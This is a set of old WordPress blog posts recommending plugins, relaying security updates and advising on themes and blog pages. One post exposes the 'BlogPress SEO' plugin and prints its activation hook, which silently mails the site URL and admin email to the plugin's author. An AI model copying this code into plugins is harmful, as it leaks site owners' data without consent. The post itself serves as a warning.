Plugins are a wonderful concept (especially when it comes to WordPress), no matter what software you are using (be it a blogging platform or a message board system) plugins easily help add great little tweaks to them to make them even better.

If you have been running blogs for a number of years then (hopefully) like me you will probably have collected a small group of your favourite plugins that you install first when you set up new blogs.

Below you will find 12 plugins that I always install first when starting a new blog – accompanied by a cheesy Christmas theme!

On the first day of Christmas, my true love gave to me…

CommentLuv – The perfect way to reward your readers for commenting on your blog, this plugins shows a link under their comment to their latest blog post.

On the second day of Christmas, my true love gave to me…

Google Analyticator – This plugin allows Google Analytic to log your blog traffic without the need to edit your theme files. It will display stats on your admin panel (thus eliminating as many trips to the Google Analytic site) and it has some widgets to display your stats in your sidebar.

On the third day of Christmas, my true love gave to me…

IntenseDebate – Many bloggers are becoming disillusioned with the spammy comments left on their blogs and are turning to plugins like IntenseDebate and Livefyre to help reduce this and to also i prove the community on their blogs. IntenseDebate is the one I always go with.

On the fourth day of Christmas, my true love gave to me…

New Adman – A plugin that allows you to insert ad code at the beginning, at the end and in the middle of posts without having to edit the theme files.

On the fifth day of Christmas, my true love gave to me…

Contextual Related Posts – This plugin displays a number of related posts at the end of every post so your readers will hopefully stay on the blog for longer. You can either have just links, or you can have them laid out like I have on this blog. You can also display image thumbnails as well.

On the sixth day of Christmas, my true love gave to me…

Fast Secure Contact Form – A contact form plugin that offers CAPTCHA and Aksimet protection to help stop spammers sending you floods of unwanted emails.

On the seventh day of Christmas, my true love gave to me…

OIOpublisher Ad Manager – This is a plugin that you have to pay for ($97) but it is well worth it and you can use it on as many blogs as you wish. It is an advertising system that makes selling ads on your site so easy, you just set up your ad zones and the plugin will do the rest of the work.

I didn’t pay for this, it was bought for me as a Christmas present, maybe you should think about this for your Christmas list?

On the eighth day of Christmas, my true love gave to me…

GoCodes – If you publish affiliate links online then you will find this plugin very useful. It creates a short url for you which makes it easier to publish online and it stops people signing up for things and cutting your affiliate ID out of the url.

On the ninth day of Christmas, my true love gave to me…

Tweet old post – Breath new life into your old posts by having this neat little plugin publish them on your Twitter account. You can easily set it to publish old posts as many times a day as you wish (I have it set at four a day with a couple of hours in between each post).

On the tenth day of Christmas, my true love gave to me…

Google XML Sitemaps – This plugin will produce a special XML sitemap that will enable search engines such as Google, Yahoo, Bing and Ask.com to index your blog better and quicker.

On the eleventh day of Christmas, my true love gave to me…

Top Commentators Widget – A plugin that displays a list of your top commentators, this is a great way of saying ‘thank you’ to your readers for commenting. It also gives your commentators an extra bit of exposure to their blog or web site.

On the twelfth day of Christmas, my true love gave to me…

NoFollow Free – Increase your comments by turning your blog into a do-follow, that’s what this little plugin does. Install it and watch your comments increase by at least 50%.

* I’m sorry for the awful 12 days of the Christmas puns.

Possibly one of the most frustrating things that can happen to you as a writer is when somebody steals your content. They right click on your blog and then copy and paste your hard written work into their blogs and forums.

It is impossible to stop people doing it completely but there are things you can do to make things difficult for them. One way to put an obstacle in their way is to install a plugin called WP-Copyright-Protection.

What I like about this particular plugin is that it does not come with any configurations to make, you just install it and activate it and leave it to protect your blog from scrapers.

Download the plugin from this link

This evening the WordPress team have released version 3.1.2 for immediate download. This is a security update so you are advised to update to it as soon as possible to keep you blog safe and secure.

Here is the announcement from the official WordPress site:

WordPress 3.1.2 is now available and is a security release for all previous WordPress versions.

This release addresses a vulnerability that allowed Contributor-level users to improperly publish posts.

The issue was discovered by a member of our security team, wordpress developer Andrew Nacin, with Benjamin Balter.

We suggest you update to 3.1.2 promptly, especially if you allow users to register as contributors or if you have untrusted

You can download the security update or you an update from the dashboard of your blog admin panel.

My name is Ivin Viljoen and I have been blogging since 2006. I blogged on a specific news sites’ free blogging platform and was frustrated with the rules, clicky-ness, blogotism (like nepotism…) etc. There were many other quirks I had to deal with. The one thing that was great was they had an internal fellowship/system that promoted your blog to others within the network.

I wrote pretty controversial material so I did well with traffic. However, living in that bubble exonerates you from the real meaning of what it is to blog. Then I started a blog on WordPress called Authopublisher. I first used a free theme called Newsport with which I literally pulled my hair out from frustration. From my experiences with both free and paid themes I share with you the following tips and guidelines:

What is wrong with free themes?

• Free means your theme isn’t original or exclusive.
• Free means tacky and unpractical.
• Most free themes are available for no money because they link to someone else’s blog/website.
• You get what you paid for.
• No support is offered.
• Every time WP is updated, you change something or plugins are added you can mess your blog up.
• Usability is very complicated, most ‘designers’ of themes don’t know anything about it so their themes don’t do things correctly – like SEO and navigation.
• Owners of blogs using free themes don’t have access to its source files.

Why paid themes rock.

• Design and layouts are more advanced.
• Your chances to exclusivity are better.
• Wider selection of professional themes.
• Customization.
• Developers engage with customers in the user forums.
• You can update your theme for free.
• Get your paid themes at

Woothemes.
TeamThesis
Through outsourcing.

Disadvantages of a paid theme.

• You’ll spend at least $50 or more.
• Because of its technicality and complex design, it poses great challenges to normal users from a coding perspective (which you’ll need to do – but searching on Google and some patience will help a lot).

Advantages of a paid theme.

• No tweaking for hours on end, leaving more time to tweak ads.
• There are options where you get themes free with your paid theme (That’s a paid theme or two free with your paid theme).
• There are also developer prices where you pay a size-able fee for a developer package where you have access to all the designers themes to use for your own sites or for your customers.
• It increases your professionalism and serves as a gauge for your blog clout.
• Advertising on your blog in controlled by you.
• The customization options are far greater.
• You have greater freedom and functionality with plugins. Paid themes have plugins designed especially for it which makes it easier.

Let me end off with saying that I launched one or two blogs between my newsblog and current blog and never got to blogging because they were so bad in looks and function. Once I closed my eyes, reached into my pocket and bought the theme my happiness couldn’t be contained. I am flourishing.

Subscribe to my blog feed here
Follow me on Twitter
Subscribe to my Youtube channel

Stop dreaming and make it happen!

Ivin Viljoen

Sources: Thanks to Gail at GrowMap for a quote or two used in this post.

WordPress have released another security update of their WordPress blogging platform. Titled 3.05, it is a security update (yeah, another one) that will hopefully keep our blogs nice and secure until they finally release 3.1.

The upgrade looks at patching several security problems:

1. Two security issues that would have allowed a author or contributor-level user to gain greater access to the site.

2. Another security issue that would have allowed an author-level user to read information they weren’t supposed to access, such as drafts or private posts.

3. Two additional security issues that help secure plugins, especially those that don’t use WordPress’ built-in security API.

WordPress have also released the 4th RC version of 3.1 which hopefully means that the final (and stable) version will be released to the public very soon.

The security problems patched with this upgrade look to be very basic errors that should have been spotted when 3.0 first came out.

Download 3.0.5 here

When it comes to blogging it isn’t all about the post content (although it should be roughly 90% about that), you should also be paying careful attention to the pages that you have on your blog.

When I was writing this article I was thinking about which pages would be considered as the most important ones to have on a blog. I managed to come up with four pages which I believe should be the foundation pages of every blog.

1. About Me Page

Every month when I go over my traffic stats in Google Analytics I discover that my most visited page, behind the main page, is my About Me page. More people visit my blog via that page than any post I have ever written.

This is the page where your readers find out about you. It is the place where you should be introducing yourself to your reader and explaining what the blog is all about. Some may also include pictures and videos to make it a bit more personal.

2. Contact Me Page

The days of simply slapping your email address in the sidebar have long gone people. These days it is absolutely vital that you have a contact page, with a form on it, for your readers to contact you.

Having a contact page means that you are making it easier for your reader to contact you (they don’t have to copy and paste the email into their email client, readers can be rather lazy) and you can add some information on how long it will take you to reply and which kind of emails you’ll reply to.

Sadly spammers are happy to abuse the contact form so I’d advice using one that integrates Akismet into it.

3. Disclosure Page

If you have content on your blog that someone has paid you to write then you should really have a disclosure page. I write a fair few sponsored posts on my blog and I have to make sure I have a disclosure page up as it is now an FTC requirement.

It doesn’t have to be anything fancy (you can copy mine if you like), it just has to say that you receive money in return for writing certain content on your blog.

4. Privacy Policy Page

Some of you might be wondering why I have mentioned a disclosure page and a privacy policy page as separate pages, surely they are the same thing? No, they are very different and in truth a privacy policy is even more important.

What it does is it outlines what you collect from your reader when they visit your blog and what you do with this information. Do you log IP addresses? Do any of the ads store cookies on reader’s computers? What do you do with a reader’s email address? Stuff like that should be written on your privacy policy.

What About You?

Do you agree with this? Which four pages would you say were the most important for any blog? Feel free to drop your answers via a comment below.

After the post that I published on the blog yesterday I received a few enquiries (sadly all from Twitter and Email, none from the comments section) asking me what 22 plugins I now use for this blog.

So here they are in alphabetical order:

1-click Retweet/Share/Like

I love this plugin. It produces buttons so your readers can share your post on Twitter, Facebook, LinkedIn, Digg, Stumble, Google Buzz and it includes an option to email the post to friends.

CommentLuv

This was something that I installed recently. It is a way of giving something back to a commenter, in exchange for leaving a comment they are given an extra link at the bottom of their comment.

Contextual Related Posts

With this plugin you can display a list of related posts at the end of a post. A great way to keep readers on your blog.

Exclude Pages from Navigation

If you have created pages that you do not wish to be included in your navigation menu then this little plugin is the one for you.

Fast Secure Contact Form

This is the plugin I use to receive emails from my readers and visitors. Might not be the best option, and I am looking for a better one, but it does the job as long as you have Akismet installed.

FeedBurner FeedSmith

A plugin that I have rarely thought about since I installed it. It redirects any attempt to access my feed to my Feedburner feed.

FT FacePress II

This plugin saves me time every day. When I publish a post on my blog it automatically publishes the title, excerpt and link on my Facebook profile and on my Facebook Fan Page.

GoCodes

A plugin that masks urls. Why have http://yourdomainname.com/folder/folder/affiliatenumber when you can have something like http://ineeddiscipline.com/go/bluehost/. You can also change the ‘go’ bit to whatever you wish. It even tracks how many clicks each URL receives.

Google Analyticator

This is just something that is displayed on the admin panel dashboard for my pleasure. It shows me the traffic details for the past month without me having to log into my Google Analytic account.

Google XML Sitemaps

A plugin that nobody should be without. It helps you rank in the Google, Bing, Yahoo and Ask search engines a lot quicker. I use it once a week but if you post more often than I do then you can use it daily.

Growmap Anti Spambot Plugin

This little baby has replaced Akismet. It displays a box in your comments section that must be ticked by the commenter to prove they are human. No tick, no comment. It means no more wading though thousands and thousands of spam comments trying to weed out the odd real comment.

IntenseDebate

If you are not happy with the default WordPress comments section then why not give IntenseDebate a go? It is a complete overhaul and offer great features that you won’t find with the WordPress default version.

New Adman

I’m a lazy man so I use the New Adman plugin to inject my ads into my posts (top middle and bottom) and to inject an ad onto the front page of my blog (above first post). No having to edit theme files for me.

NoFollow Free

A very simple plugin that turns your blog into a do-follow blog. It also comes with a top commentators widget but I don’t use that as it has no option to reset it.

PopUp Domination

What a great Christmas present this was!

You may have seen this premium plugin in action a lot recently. It displays a pop-up when you enter the blog, people use it to generate subscribers for their mailing lists. I haven’t launched it yet but everyone is raving about it.

SRG Clean Archives

It displays your archives in a neat little list on its own page. No more will you have to put up with the increasing ugly list in your sidebar.

Text Link Ads InLinks

This is a plugin that I use to insert links Text Link Ads into my blog, saves me having to manually do it by editing files.

Top Commentators Widget

This is another plugin that I use to give something back to my readers who comment. It displays my top commentators in my sidebar and gives them a backlink. You can set it to reset the count whenever you want.

Tweet old post

A great plugin that I don’t know how I managed without. It posts random posts to your Twitter account.

WP-PageNavi

A plugin that places a navigation menu for your posts at the bottom of the home page.

WP About Author

This is a plugin that I use to tell my readers a bit about me. At the bottom of a post it displays my bio that it pulls from my user account

WP EzineArticles

This is helpful for when I want to publish articles from my blog onto Ezine Articles. Just enter a bio and pick a category and it will submit it for you.

So there you have it. Hopefully you’ll find a couple in there helpful. Do you already use any of them?

I received an email last month from a guy by the name of Saurabh Nagar. He was offering me a free WordPress SEO plugin that he claimed would help explode my blogs by creating loads of backlinks on other blogs for me, in return the other blogs would have links created on my blog.

Doesn’t that sound just like a link exchange program?

I may enjoy a bargain (or even better, a freebie) or two but I was not just going to install and run a free/paid plugin that was sent to me by email without first checking it out. If I was going to do that then I might as well send my bank account details to every email that comes into my junk folder requesting them.

I checked WordPress’ plugin section and found no mention of this free plugin, that was an alarm bell straight away to me as any free WordPress plugin worth it’s weight would be listed in there.

That is when I decided to type in the plugin name in Google.

The free plugin is called BlogPress SEO and within a few seconds of typing the name into Google I discovered that my initial doubts about this plugin were bang on the money.

First of all Google hates link exchanges like this( as the plugin boasts of clocking up hundreds of backlinks immediately), when they catch you (not ‘if’, but ‘when) they will remove you from their search engine which means no more traffic for you from them. I gain a hell of a lot of my traffic from them so it would kill my traffic and probably my blogs.

The second thing that was noticed was if you have a look in the files you will see this piece of code:

function email_send_fun()
{
$headers="From:".get_option('admin_email')."n";
$headers.="Reply-to:".get_option('admin_email')."n";
$sub="BlogPressSeo new installation.";
$mes=get_option('siteurl');
$to="info@blogpressseo.com";
mail($to,$sub,$mes,$headers);
if($hwe_blogidd)
{
wplink_activate();
}
}
register_activation_hook(__FILE__,"email_send_fun");

If you do not know what this bit of code does then let me tell you.

it sends your blog URL and your admin email address to the author of this plugin. And this is done without your consent which I believe is illegal in many countries (ask anyone who knows a thing or two about subscriptions).

But that is not the scary part.

There is a back-door built into the plugin that allows the author of the plugin (or anyone who has access to info@blogpressseo.com) to log into your admin panel WITHOUT YOUR PASSWORD. That means they just have to enter the admin email, the one they have just sent their selves.

You worried now? Well you should be!

They also drop a hidden link to their site on your blog home page. This just makes it easier for Google to find every blog using this plugin and ban you all in one big sweep.

Just to put the cherry on it they are offering a paid version of the plugin for a ludicrous $97.00 a month (no backlinks on your blog) and a multi-licence version for $597.00 per month for use on 100 of your blogs.

If you have installed this free plugin then I suggest you do the following:

1 Uninstall and delete the plugin.

2 Change the admin email if you can (the author of the plugin now already has it)

3 Go into your database and delete any tables left by the plugin (the plugin does not have an uninstall method).

Let us try and warn as many people about this as possible. Please retweet this on Twitter, like it on Facebook, or promote it in any way you know. I don’t want to see this Saurabh Nagar hurting any more blogs then he has already.

Something that that is rather frustrating about running a blog is keeping an eye on links that have been either inserted into posts, or left in comments, because as we go along you’ll find a lot of those domains have expired.

So now you have a blog with hundreds and hundreds (and in the case of some blogs, thousands) of broken links to sites that used sell htc desire androids, links that lead to nowhere. You could go through every blog post you have ever done, and every comment ever left, and check each link one by one, but how long would this take?

You could do what I do and use a plugin that scours your pages and comments and lists all the broken links for you.

1. Download and install the Broken Link Checker plugin.

2. Configure the settings via Settings → Link Checker.

3. To see the list of broken links just go to your admin panel and it will be listed.

Have you installed this plugin? Does it save you a lot of time?

Thanks to Google we are seeing more and more advertising networks demanding that your site display a privacy policy somewhere, it doesn’t have to be in a high profile place just as long as you have one.

Because Google has come out publicly and started demanding a privacy policy you will see the small ad networks following suit, if Google insists on it then they must follow suit and insist on it too.

Thankfully producing a privacy policy for your blog is not as difficult as you may have initially thought. In fact all you need is a simple plugin and it will do most of the work for you.

1. Download and installed the Easy Privacy Policy plugin.

2. Then configure the settings via Settings → Easy Privacy Policy.

And you are done.

What do you think of this plugin? Does it make life easier for you?